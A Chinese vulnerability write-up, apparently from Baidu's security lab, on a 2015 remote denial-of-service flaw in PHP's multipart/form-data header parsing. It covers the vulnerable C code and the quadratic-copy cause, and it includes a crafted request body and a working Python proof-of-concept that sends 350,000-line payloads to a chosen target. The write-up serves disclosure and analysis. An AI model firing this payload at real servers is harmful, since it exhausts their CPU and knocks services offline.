当前位置: 首页 > news >正文

PHP multipart/form-data 远程DOS漏洞

百度安全攻防实验室 · 2015/05/15 23:06

作者:LiuShusheng_0_

0x00 摘要


PHP解析multipart/form-datahttp请求的body part请求头时,重复拷贝字符串导致DOS。远程攻击者通过发送恶意构造的multipart/form-data请求,导致服务器CPU资源被耗尽,从而远程DOS服务器。

影响范围:

PHP所有版本
复制代码

0x01 漏洞入口


PHP源码中main/ rfc1867.c负责解析multipart/form-data协议,DOS漏洞出现在main/rfc46675pxultipart_buffer_headers函数。

在详细分析漏洞函数前,先分析进入漏洞函数的路径。PHP解析multipart/form-data http请求体的入口函数在SAPI_POST_HANDLER_FUNC(rfc1867.c中的函数),代码如下。

#!c
/* Get the boundary */
boundary= strstr(content_type_dup, "boundary");
 if(!boundary) {
     intcontent_type_len = strlen(content_type_dup);
     char*content_type_lcase = estrndup(content_type_dup, content_type_len);

     php_strtolower(content_type_lcase,content_type_len);
     boundary= strstr(content_type_lcase, "boundary");
     if(boundary) {
             boundary= content_type_dup + (boundary - content_type_lcase);
     }
     efree(content_type_lcase);
  }
  if(!boundary || !(boundary = strchr(boundary, '='))) {
       sapi_module.sapi_error(E_WARNING,"Missing boundary in multipart/form-data POST data");
       return;
   }
   boundary++;
   boundary_len= strlen(boundary);
   …
   …
   while(!multipart_buffer_eof(mbuff TSRMLS_CC))
   {
                   charbuff[FILLUNIT];
                   char*cd = NULL, *param = NULL, *filename = NULL, *tmp = NULL;
                   size_tblen = 0, wlen = 0;
                   off_toffset;

                   zend_llist_clean(&header);

                   if(!multipart_buffer_headers(mbuff, &header TSRMLS_CC)) {
                            gotofileupload_done;
                   }
复制代码

SAPI_POST_HANDLER_FUNC函数首先解析请求的boundary,

0x02 漏洞函数multipart_buffer_headers执行逻辑


进入漏洞函数,本段先分析漏洞函数的执行逻辑,下一段根据函数执行逻辑详细分析漏洞的原理。multipart_buffer_headers函数源码如下:

#!c
/* parse headers */
static intmultipart_buffer_headers(multipart_buffer *self, zend_llist *header TSRMLS_DC)
{
         char*line;
         mime_header_entryprev_entry = {0}, entry;
         intprev_len, cur_len;

         /*didn't find boundary, abort */
         if(!find_boundary(self, self->boundary TSRMLS_CC)) {
                   return0;
         }

         /*get lines of text, or CRLF_CRLF */

         while((line = get_line(self TSRMLS_CC)) && line[0] != '\0' )
         {
                   /*add header to table */
                   char*key = line;
                   char*value = NULL;

                   if(php_rfc1867_encoding_translation(TSRMLS_C)) {
                            self->input_encoding= zend_multibyte_encoding_detector(line, strlen(line), self->detect_order,self->detect_order_size TSRMLS_CC);
                   }

                   /*space in the beginning means same header */
                   if(!isspace(line[0])) {
                            value= strchr(line, ':');
                   }

                   if(value) {
                            *value= 0;
                            do{ value++; } while(isspace(*value));

                            entry.value= estrdup(value);
                            entry.key= estrdup(key);

                   }else if (zend_llist_count(header)) { /* If no ':' on the line, add to previousline */

                            prev_len= strlen(prev_entry.value);
                            cur_len= strlen(line);

                            entry.value= emalloc(prev_len + cur_len + 1);
                            memcpy(entry.value,prev_entry.value, prev_len);
                            memcpy(entry.value+ prev_len, line, cur_len);
                            entry.value[cur_len+ prev_len] = '\0';

                            entry.key= estrdup(prev_entry.key);

                            zend_llist_remove_tail(header);
                   }else {
                            continue;
                   }

                   zend_llist_add_element(header,&entry);
                   prev_entry= entry;
         }

         return1;
}
复制代码

multipart_buffer_headers函数首先找boundary,如果找到boundary就执行以下代码,逐行读取请求的输入以解析body port header:

#!c
while((line = get_line(self TSRMLS_CC)) && line[0] != '\0' ) { … }
复制代码

当使用get_line读入一行字符,如果该行第一个字符line[0]不是空白字符, 查找line是否存在':'。

如果line存在字符':'

value指向':'所在的内存地址。这时if(value)条件成立,成功解析到(header,value)对entry。调用zend_llist_add_element(header, &entry)存储,并使用prev_entry记录当前解析到的header,用于解析下一行。

否则,line不存在字符':'

认为这一行的内容是上一行解析到header对应value的值,因此进行合并。合并操作执行以下代码。

#!c
prev_len= strlen(prev_entry.value);
cur_len= strlen(line);

entry.value= emalloc(prev_len + cur_len + 1); //为合并value重新分片内存
memcpy(entry.value,prev_entry.value, prev_len); //拷贝上一行解析到header对应value
memcpy(entry.value+ prev_len, line, cur_len);   //把当前行作为上一行解析到header的value值,并拷贝到上一行value值得后面。
entry.value[cur_len+ prev_len] = '\0';

entry.key= estrdup(prev_entry.key);

zend_llist_remove_tail(header);
复制代码

首先,为了合并value重新分配内存,接着拷贝上一行解析到的value值到新分配的内容,然后把当前行的字符串作为上一行解析到header的value值,并拷贝到value值得后面。最后调用zend_llist_remove_tail(header)删除上一行的记录。执行完后获得了新的entry,调用zend_llist_add_element(header,&entry)记录得到的header名值对(header,value)。

0x03 漏洞原理


multipart_buffer_headers函数解析header对应value时,value值存在n行。每行的字符串以空白符开头或不存字符':',都触发以下合并value的代码块。那么解析header的value就要执行(n-1)次合并value的代码块。该代码块进行1次内存分配,2次内存拷贝,1次内存释放。当value值越来越长,将消耗大量的cpu时间。如果以拷贝一个字节为时间复杂度单位,value的长度为m,时间复杂度为m*m.

#!c
prev_len= strlen(prev_entry.value);
     cur_len= strlen(line);

     entry.value= emalloc(prev_len + cur_len + 1); //1次分片内存
     memcpy(entry.value,prev_entry.value, prev_len); //1次拷贝
     memcpy(entry.value+ prev_len, line, cur_len);   //1次拷贝
     entry.value[cur_len+ prev_len] = '\0';

     entry.key= estrdup(prev_entry.key);

     zend_llist_remove_tail(header);//1次内存释放
复制代码

0x04 利用


构造像以下恶意的http请求,当存在350000行a\n时,在我的测试环境中,一个http请求将消耗10s的cpu时间。每隔若干秒,同时并发多个请求,将导致server端cpu资源长期耗尽,从而到达DOS。总的来说,利用方式和Hash Collision DOS一样。

------WebKitFormBoundarypE33TmSNWwsMphqz
Content-Disposition:form-data; name="file"; filename="s
a
a
a
…
…
…
a"
Content-Type:application/octet-stream

why is it?
------WebKitFormBoundarypE33TmSNWwsMphqz
复制代码

0x05 POC


#!python
'''
Author: Shusheng Liu,The Department of Security Cloud, Baidu
email: [email protected]
'''
import sys
import urllib,urllib2
import datetime
from optparse import OptionParser

def http_proxy(proxy_url):

    proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})
    null_proxy_handler = urllib2.ProxyHandler({})
    opener = urllib2.build_opener(proxy_handler)
    urllib2.install_opener(opener)
#end http_proxy 

def check_php_multipartform_dos(url,post_body,headers):
    req = urllib2.Request(url)
    for key in headers.keys():
        req.add_header(key,headers[key])
    starttime = datetime.datetime.now();
    fd = urllib2.urlopen(req,post_body)
    html = fd.read()
    endtime = datetime.datetime.now()
    usetime=(endtime - starttime).seconds
    if(usetime > 5):
        result = url+" is vulnerable";
    else:
        if(usetime > 3):
            result = "need to check normal respond time"
    return [result,usetime]
#end


def main():
    #http_proxy("http://127.0.0.1:8089")
    parser = OptionParser()
    parser.add_option("-t", "--target", action="store", 
                  dest="target", 
                  default=False, 
          type="string",
                  help="test target")
    (options, args) = parser.parse_args()
    if(options.target):
    target = options.target
    else:
    return;

    Num=350000
    headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
            'Accept-Encoding':'gzip, deflate',
            'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'}
    body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
    payload=""
    for i in range(0,Num):
        payload = payload + "a\n"
    body = body + payload;
    body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
    print "starting...";
    respond=check_php_multipartform_dos(target,body,headers)
    print "Result : "
    print respond[0]
    print "Respond time : "+str(respond[1]) + " seconds";

if __name__=="__main__":
    main()
复制代码

相关文章:

  • java 内存分析 jmap
  • 功能架构图、信息结构图、产品结构图的区别和绘制方法
  • 我们雇佣了一只大猴子...
  • 关于Android P 开发者预览版首发
  • Flink1.7.2 local WordCount源码分析
  • PyQt5 -day3-3 格栅布局 又叫 网格布局
  • 云服务器绑定主机名的正确姿势
  • 第十八天-企业应用架构模式-基本模式
  • 移植之乱谈
  • HTTP 2.0与OkHttp
  • 360旗下公司推出区块链宠物游戏“恋猫”,要和360区块猫竞争吗
  • 项目微管理8 - 流程
  • vue axios ajax
  • z-index
  • 微软最具价值技术专家:我的16年软件开发经验总结
  • php的引用
  • HTTP中GET与POST的区别 99%的错误认识
  • JS笔记四:作用域、变量(函数)提升
  • laravel5.5 视图共享数据
  • miniui datagrid 的客户端分页解决方案 - CS结合
  • php ci框架整合银盛支付
  • ⭐ Unity 开发bug —— 打包后shader失效或者bug (我这里用Shader做两张图片的合并发现了问题)
  • 工作踩坑系列——https访问遇到“已阻止载入混合活动内容”
  • 将 Measurements 和 Units 应用到物理学
  • 小试R空间处理新库sf
  • 怎么把视频里的音乐提取出来
  • Semaphore
  • 曜石科技宣布获得千万级天使轮投资,全方面布局电竞产业链 ...
  • ​2021半年盘点,不想你错过的重磅新书
  • $.each()与$(selector).each()
  • (1)常见O(n^2)排序算法解析
  • (4.10~4.16)
  • (aiohttp-asyncio-FFmpeg-Docker-SRS)实现异步摄像头转码服务器
  • (C语言)strcpy与strcpy详解,与模拟实现
  • (附源码)springboot车辆管理系统 毕业设计 031034
  • (附源码)计算机毕业设计SSM基于健身房管理系统
  • (七)MySQL是如何将LRU链表的使用性能优化到极致的?
  • (原創) 博客園正式支援VHDL語法著色功能 (SOC) (VHDL)
  • **PyTorch月学习计划 - 第一周;第6-7天: 自动梯度(Autograd)**
  • @Query中countQuery的介绍
  • [ 云计算 | AWS ] 对比分析:Amazon SNS 与 SQS 消息服务的异同与选择
  • [20150321]索引空块的问题.txt
  • [Android学习笔记]ScrollView的使用
  • [BUG]Datax写入数据到psql报不能序列化特殊字符
  • [c]统计数字
  • [CentOs7]搭建ftp服务器(2)——添加用户
  • [CF543A]/[CF544C]Writing Code
  • [ERROR] 不再支持目标选项 5。请使用 7 或更高版本
  • [ffmpeg] av_opt_set 解析
  • [HJ56 完全数计算]
  • [LeetCode系列]3元素最近和问题的O(n^2)解法
  • [Mac软件]Boxy SVG 4.20.0 矢量图形编辑器
  • [ndss 2023]确保联邦敏感主题分类免受中毒攻击
  • [paper] lift,splat,shooting 论文浅析
  • [Servlet 3]会话管理、进阶API、监听过滤器